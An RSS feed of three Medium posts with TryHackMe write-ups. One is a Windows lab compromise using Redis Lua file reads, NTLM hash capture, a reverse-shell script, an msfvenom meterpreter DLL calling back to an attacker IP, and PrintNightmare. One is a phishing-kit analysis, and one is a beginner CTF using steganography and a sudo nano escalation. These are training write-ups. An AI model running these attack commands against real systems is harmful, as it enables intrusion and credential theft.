<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xCamille on Medium]]></title>
        <description><![CDATA[Stories by 0xCamille on Medium]]></description>
        <link>https://medium.com/@0xCamille?source=rss-d5a7a1de76f2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*CM1Vl7QxjwZqJyjytBRejw.jpeg</url>
            <title>Stories by 0xCamille on Medium</title>
            <link>https://medium.com/@0xCamille?source=rss-d5a7a1de76f2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 17:27:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xCamille/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe VulnNet: Active WriteUp]]></title>
            <link>https://medium.com/@0xCamille/tryhackme-vulnnet-active-writeup-99d927e116b0?source=rss-d5a7a1de76f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/99d927e116b0</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[windows-exploitation]]></category>
            <dc:creator><![CDATA[0xCamille]]></dc:creator>
            <pubDate>Wed, 11 Dec 2024 07:48:58 GMT</pubDate>
            <atom:updated>2024-12-11T07:48:58.698Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a writeup based on the VulnNet:Active room which can be found here <a href="https://tryhackme.com/r/room/vulnnetactive">Vulnet: Active</a>. In this room, we get to enumerate and exploit a medium Windows machine to get the user and system flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c-w3Zaq7I6zSwOJOJZaIWQ.png" /></figure><h3>Getting the user flag</h3><h4><strong>Initial Enumeration</strong></h4><p>My first step was to perform an Nmap scan to discover open ports and services on the target machine. This gave me an overview of what I was dealing with:</p><pre>sudo nmap -sT -sC -sV -vvv -p- --min-rate 5000 -Pn -oA nmapscan [Machine IP]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*0ulGJLSMm_LVltwYtPQzMA.png" /><figcaption>nmap scan</figcaption></figure><p>There wasn’t much to look at from the scan, but Redis seemed interesting.</p><h4>Redis Enumeration</h4><p>Redis is an open-source, in-memory data structure store used as a database, cache, and message broker. Redis isn’t a common service to find exposed, so it was worth investigating further. It was running on port 6379 and I wanted to enumerate its configurations to look for useful information.</p><p>I connected to the service using redis-cli:</p><pre>redis-cli -h [machine IP]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*9-_lNlQHj8TmDC9PqFzWYg.png" /><figcaption>redis enumeration</figcaption></figure><p>I then tried to enumerate whether there were any configs in the server.</p><pre>config get *</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*7dAg6vC8K_CoesmpL1etNw.png" /></figure><p>From the output, I could see that there is a dir file, and could identify that the user is <strong><em>enterprise-security.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*PEBJfPCcYzUDsc2cfRowuQ.png" /></figure><h4>User flag</h4><p>Redis supports Lua scripts via the EVAL command, allowing us to read files on the system. Since I was able to identify that there is user <em>enterprise-security</em>, and the flag is in the Desktop folder, I attempted to read the user.txt file.</p><pre>EVAL &quot;dofile(&#39;C:/Users/enterprise-security/Desktop/user.txt&#39;)&quot; 0</pre><p>This returned an error with a malformed number, but the response included the flag content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*sQN_4AXpobAP3VynSyB9YQ.png" /><figcaption>user flag</figcaption></figure><h4>Capturing NTLM Hashes</h4><p>Knowing that NTLM hashes might be stored as key-value pairs in Redis, I set up <strong>Responder </strong>on my machine<strong> </strong>to attempt to intercept potential hashes. Redis was configured to reach out to my system via:</p><pre>EVAL &quot;dofile(&#39;//[attacker-IP]/h&#39;)&quot; 0</pre><p>Responder command:</p><pre>responder -I tun0 -wdv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-mBy42MxhZ4uxB1ZtoDuNQ.png" /></figure><p>I managed to capture NTLMv2 hash, saved it to a file and cracked it using hashcat to obtain the user’s plain text password.</p><pre>hashcat -m 5600 [hash file] /path/to/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E28Xg1LWHOdMGuHwYKBLyg.png" /><figcaption>cracked ntlmv2 hash</figcaption></figure><h3>Initial Access</h3><p>From the nmap scan, SMB port 445 was open , so I decided to enumerate the shares using nxc.</p><pre>nxc smb [machine IP] -u &#39;domain user&#39; -p &#39;domain password&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bh-fFVmnuLbR1l6GksPJTw.png" /><figcaption>SMB Enumeration</figcaption></figure><p>After identifying accessible SMB shares, I used Impacket’s smbclient to interact with them. One of the shares, Enterprise-Share, was not a standard file share typically found on Windows systems, so I decided to enumerate it further:</p><pre>impacket-smbclient domainuser:&#39;domainpassword&#39;@dc-ip</pre><p>It contained a file called PurgeIrrelevantData_1826.ps1 which contained a PowerShell script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vYfeoE7knpJvUhQwOnNE3Q.png" /></figure><p>I modified the PowerShell script (PurgeIrrelevantData_1826.ps1) to include a reverse shell payload. This would allow the target machine to connect back to my machine once the script was executed. The reverse shell payload can be generated from <a href="https://www.revshells.com/">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-o7F3zjTPYzf468h_RJCgA.png" /><figcaption>reverse shell payload</figcaption></figure><p>After uploading the modified script to the SMB share, I set up a Netcat listener on my machine to catch the reverse shell. When the target machine executed the script, it connected back to my listener, granting me shell access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a5Do0vGuI-mZb9JmclrG7A.png" /><figcaption>netcat listener</figcaption></figure><h4>Gathering System Information</h4><p>With shell access, I checked the system’s details to confirm the OS version. The system was running <strong>Windows Server 2019.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*tLkzyUPwYaSNwdb48e2Psw.png" /><figcaption>system info</figcaption></figure><h3>Privilege Escalation</h3><p>After some research, I came across the <a href="https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/#:~:text=According%20to%20Microsoft&#39;s%20updated%20advisory,in%20the%20wild%20has%20been">PrintNightMare</a> vulnerability which affects the Windows Print Spooler service and can allow remote code execution or privilege escalation. It mainly affects the windows versions: Microsoft Windows 7, 8, 8.1, 10, 11 ,Microsoft Windows Server 2008, 2012, 2012 R2, 2016, 2019, 2022</p><p>Since the machine was running on Windows Server 2019, I tried to check whether it’s vulnerable to PrintNightMare vulnerability using <strong>rpcdump</strong>. If it returned a value, it could be vulnerable.</p><pre>rpcdump.py @[DC-IP] | egrep &#39;MS-RPRN|MS-PAR&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*VH7mSn4ictPnZ25X_YncbA.png" /></figure><h4>Exploiting PrintNightMare for Privilege Escalation</h4><p>In this section, I followed the POC guide from <a href="https://github.com/cube0x0/CVE-2021-1675">cube0x0</a>. For this a DLL payload has to be generated using <strong>msfvenom</strong>, deliver the payload using <strong>samba share</strong> and the payload will connect back to a <strong>metasploit listener</strong> set up on our machine. Once this is set up, the PrintNightMare exploit can be run to escalate the privileges.</p><h4>Generating the DLL payload</h4><p>Using <strong>msfvenom</strong>, a DLL payload was created for injection into the target system. The payload, shell.dll, was configured as follows:</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[Attacker_IP] LPORT=5554 -f dll &gt; shell.dll</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OsKCzinUMjTfHbMqvWB_eg.png" /></figure><p>This payload would be used to connect to the metasploit listener.</p><h4>Setting Up a Listener on Metasploit</h4><p>I configured the Metasploit Framework (Msf) to act as a <strong>listener</strong> for a reverse shell connection</p><pre>msfconsole<br>use exploit/multi/handler<br>set payload windows/x64/meterpreter/reverse_tcp<br>set LHOST [our local IP]<br>set LPORT 5554<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oG5n1XM7sTxyeWmURBRefA.png" /><figcaption>metasploit listener</figcaption></figure><h4>Setting up a Samba share</h4><p>To deliver the DLL payload, a Samba share was set up using <strong>smbserver</strong> with anonymous login enabled. The DLL file was hosted on this share, making it accessible to the target system over SMB.</p><pre>smbserver.py share `pwd` -smb2support</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*QrQu52sxAYMnJj4V691EUw.png" /><figcaption>smbserver</figcaption></figure><h4>Running the PrintNightMare exploit</h4><pre>./CVE-2021-1675.py [domain name]/[domain_user]:[password]@dc-ip &#39;\\our-local-machine-ip\share\shell.dll&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3CQGThGYKCRYMtWB1arX_A.png" /><figcaption>PrintNightMare exploit</figcaption></figure><p>After running this, a meterpreter session was established on metasploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*spsiiMJ0RuC0ucU1UOqr1Q.png" /><figcaption>meterpreter connection established</figcaption></figure><h4>Getting the system flag</h4><p>The PrintNightMare facilitated the privilege escalation and therefore I was able to retrieve the system flag in the Administrator’s Desktop folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jhd8W77699aGWutF0UjlPw.png" /></figure><h3>Conclusion</h3><p>This box was a fantastic opportunity to practice Windows Exploitation. It gave me hands-on experience with Redis enumeration and privilege escalation techniques using PrintNightmare. It’s been a great learning experience, and I’m looking forward to more. Until next time — happy hacking :)</p><h3>References</h3><ol><li><a href="https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis">https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis</a>.</li><li><a href="https://github.com/cube0x0/CVE-2021-1675">https://github.com/cube0x0/CVE-2021-1675</a>.</li><li><a href="https://www.revshells.com/">https://www.revshells.com/</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99d927e116b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Snapped Phish-ing Line TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@0xCamille/snapped-phish-ing-line-tryhackme-walkthrough-a66fb36c0ca5?source=rss-d5a7a1de76f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/a66fb36c0ca5</guid>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[0xCamille]]></dc:creator>
            <pubDate>Mon, 17 Jul 2023 10:10:37 GMT</pubDate>
            <atom:updated>2023-07-17T10:35:30.333Z</atom:updated>
            <content:encoded><![CDATA[<p>The phishing analysis room can be found here: <a href="https://tryhackme.com/room/snappedphishingline">Snapped Phish-ing Line</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*i533dnEvYeQ9PxsUm41hCw.png" /></figure><p>This room presents a scenario based on real-world occurrences and past analysis. It helps a learner apply skills to probe malicious emails and URLs presented in the phishing campaign.</p><p><strong>Who is the individual who received an email attachment containing a PDF?</strong></p><p>We are presented with 5 different emails in the<strong> <em>phish-emails</em></strong> directory. We need to analyse each and every one of them using Thunderbird to get the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P90KpAwCx0cgLCTr0Fz27A.png" /></figure><p><strong>What email address was used by the adversary to send the phishing emails?</strong></p><p>We can get the answer from ‘From’ header field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M4e5h_LFPoWzS8_QctDq0w.png" /></figure><p><strong>What is the redirection URL to the phishing page for the individual Zoe Duncan? (defanged format)</strong></p><p>From Zoe Duncan’s email, we can see that there is an attached html file called <em>Direct Credit Advice</em>. Opening the source code reveals the redirection URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FU1tjc4eY5yHbxGoEgWXLg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*78e7kndekHJjlNLmAYeJag.png" /></figure><blockquote><strong><em>Defanging involves neutralizing or removing potentially harmful or malicious components from a file, email, or other digital content. This is often done by replacing or modifying certain characters or code to prevent it from being executed or causing harm.</em></strong></blockquote><p>To defang the above URL, we can use the ‘Defang URL’ tool provided by Cyberchef. Paste the URL in the input box to get the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ArUIfe3de2TLl-ecfvYBqA.png" /></figure><p><strong>What is the URL to the .zip archive of the phishing kit? (defanged format)</strong></p><p>The redirection URL for the phishing page leads us to a domain <em>kennaroads.buzz </em>which provides a directory called <em>data</em>. The directory has a zip archive and right clicking on the file provides the URL, which can be defanged using Cyberchef.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CZj_Y6K_brgz9e3wIRB2eQ.png" /></figure><p><strong>What is the SHA256 hash of the phishing kit archive?</strong></p><p>After downloading the zip archive, we can obtain its SHA256 using this command:</p><pre>sha256sum [name of the zip file]</pre><p><strong>When was the phishing kit archive first submitted? (format: YYYY-MM-DD HH:MM:SS UTC)</strong></p><p>To find the time the archive was flagged as malicious, paste the hash to <a href="https://www.virustotal.com/gui/home/upload">VirusTotal</a> to get more details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zHr6bwk7ih3gVbqk7zpHZw.png" /></figure><p><strong>When was the phishing domain that was used to host the phishing kit archive first registered? (format: YYYY-MM-DD)</strong></p><p>Details about the domain can be found on <a href="https://www.virustotal.com/gui/home/upload">VirusTotal.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*riIij_bCZgeTtZvcfjpDKw.png" /></figure><p><strong>What was the email address of the user who submitted their password twice?</strong></p><p>Further enumeration of the subdirectories within the domain presents a log file called <em>log.txt </em>which contains the credentials captured from the phishing campaign.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HiJiqW--i6y68l0CWU53xQ.png" /></figure><p><strong>What was the email address used by the adversary to collect compromised credentials?</strong></p><p>On examining the zip archive, we find<em> submit.php </em>file which contains a script that sends the stolen credentials to the attacker via email.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2JNyZbMfETz-c_F_T-dFmg.png" /></figure><p><strong>The adversary used other email addresses in the obtained phishing kit. What is the email address that ends in “@gmail.com”?</strong></p><p>By going through each file, the email can be obtained , but it’s a bit tedious. Alternatively, we can use <strong><em>grep</em></strong> to recursively search through all files in the current directory and display any lines containing all occurrences of “@gmail.com”.</p><pre>grep -r @gmail.com .</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*6ir7qDxebRrfveDXanZszg.png" /></figure><p><strong>What is the hidden flag?</strong></p><p>From the hint provided, we can get the flag by making some adjustments to the URL. Enumerating the sub-directories provides a <em>flag.txt</em> file which contains the flag encoded in base64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*4IlZwSlfD0y9c68dvUa2rg.png" /></figure><p>Decode the string and redirect the output to a text file. We get the flag but the string is in reversed order, but using the rev command effortlessly reverses the string to it’s original format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*GvcWPo6FPyZCHICIcMjHbQ.png" /></figure><p>This room played a crucial role in facilitating the learning process of phishing analysis and understanding how it can be effectively conducted.</p><p>Thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a66fb36c0ca5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BrooklyNineNine CTF Walkthrough]]></title>
            <link>https://medium.com/@0xCamille/brooklyninenine-ctf-walkthrough-7977f1bb434d?source=rss-d5a7a1de76f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/7977f1bb434d</guid>
            <category><![CDATA[brooklyn-nine-nine]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[0xCamille]]></dc:creator>
            <pubDate>Tue, 07 Feb 2023 11:07:36 GMT</pubDate>
            <atom:updated>2023-02-07T22:03:25.083Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/brooklynninenine">Brooklyn Nine Nine</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*31v-q8y-ubi5YWsT4sLwQA.jpeg" /></figure><p>I came across this TryHackMe CTF courtesy of my mentor and I really had to do it because I’m a huge Brooklyn Nine Nine fan and of course because I love ctfs :). So let’s get started.</p><p>First thing I did after the machine was deployed was to scan for any services running using nmap.</p><blockquote><strong>sudo nmap -sC -sV -p- -T4 — min-rate 5000 -Pn [ip]</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SB6f9_E3sy-SACTCkb-RpQ.png" /></figure><p>From the nmap scan, I discovered that there were three services running: ftp, ssh and http.</p><p>I decided to perform directory enumeration on the web server using gobuster.</p><blockquote><strong>gobuster dir -u [ip] -w [wordlist]</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P_Ua6kY8rKWbiEvH9Iq0OA.png" /></figure><p>Unfortunately, I did not find anything interesting from the results.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FzMpHQobxFfCE0%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FzMpHQobxFfCE0%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FzMpHQobxFfCE0%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="245" frameborder="0" scrolling="no"><a href="https://medium.com/media/7d724e13592c075da3398d4af501f340/href">https://medium.com/media/7d724e13592c075da3398d4af501f340/href</a></iframe><p>I then decided to check the source code and I found this comment: <strong>&lt;! — Have you ever heard of steganography? →. </strong>Steganography? Well that’s interesting. I downloaded the image and proceeded to run binwalk on the image , but unfortunately there was nothing interesting either.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hARA5S5wSZYokHGBZgN99A.png" /></figure><p>To extract hidden data from the image, I used <a href="https://github.com/RickdeJager/stegseek">stegseek</a>.</p><blockquote><strong>stegseek [image] [wordlist]</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RSUvHVicxentuqZnyjzUHg.png" /></figure><p>Now I was getting somewhere. I printed out the contents from the stegseek and found the username and password for the ssh server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_FbZ56RtqxYu_yY8rMv7wQ.png" /></figure><p>Next, I accessed ssh using the credentials gotten from stegseek</p><blockquote><strong>ssh user@ip</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3t1UMReVgxdZGh7b45AIVg.png" /></figure><p>Ladies and gentlemen, we’re in!</p><p>After listing the files and directories on the server, I came across the user.txt file and after printing out the contents, I got the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_khdscaD2I79co1DqXSynQ.png" /></figure><p>This was me. I literally did the Amy dork dance.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FVf2pYbrl9L9RQKcDWM%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FVf2pYbrl9L9RQKcDWM%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FVf2pYbrl9L9RQKcDWM%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/d900bc27c513cdf80a397888bdf0ab16/href">https://medium.com/media/d900bc27c513cdf80a397888bdf0ab16/href</a></iframe><p>I still had one more flag to get: the <strong>root flag</strong>. I decided to list the commands I (current logged in user) was allowed or forbidden from invoking using the <strong><em>sudo -l </em></strong>command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mHMsnkSSYbqdiZWJWGvGqA.png" /></figure><p>From the result, we see that the current logged in user is only allowed to run <strong>/bin/nano </strong>without a password. I decided to get the nano exploit from <a href="https://gtfobins.github.io/">GTFOBins</a>. The exploit would enable elevation of privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bE2FOaTRErs9kHInV98QNw.png" /></figure><p>As per the commands on GTFOBins, I opened nano using <strong>sudo nano</strong>, and pressed<strong> CTRL R </strong>and<strong> CTRL X </strong>to execute commands on nano. I pasted the last command on nano which spawned a shell as root.</p><p>I was finally able to cd into root and got the contents of the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rBivZIVh9yxZs6HdHyKKOg.png" /></figure><p>One more Amy dork dance! I had definitely saved the best for last.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F5VzBNaOoVMnBvM5qrB%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F5VzBNaOoVMnBvM5qrB%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F5VzBNaOoVMnBvM5qrB%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/a3b889e07e90ffdbe7b63ad25f7ac15b/href">https://medium.com/media/a3b889e07e90ffdbe7b63ad25f7ac15b/href</a></iframe><p><strong>Conclusion.</strong></p><p>This was room was very beginner friendly and I would recommend it to anyone who has started learning penetration testing.</p><p>Thank you for reading this article :). This was my first ever write-up and I’m l’m looking forward to writing more.</p><p><em>Nine-Nine! Not a doctor. Shhh.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7977f1bb434d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>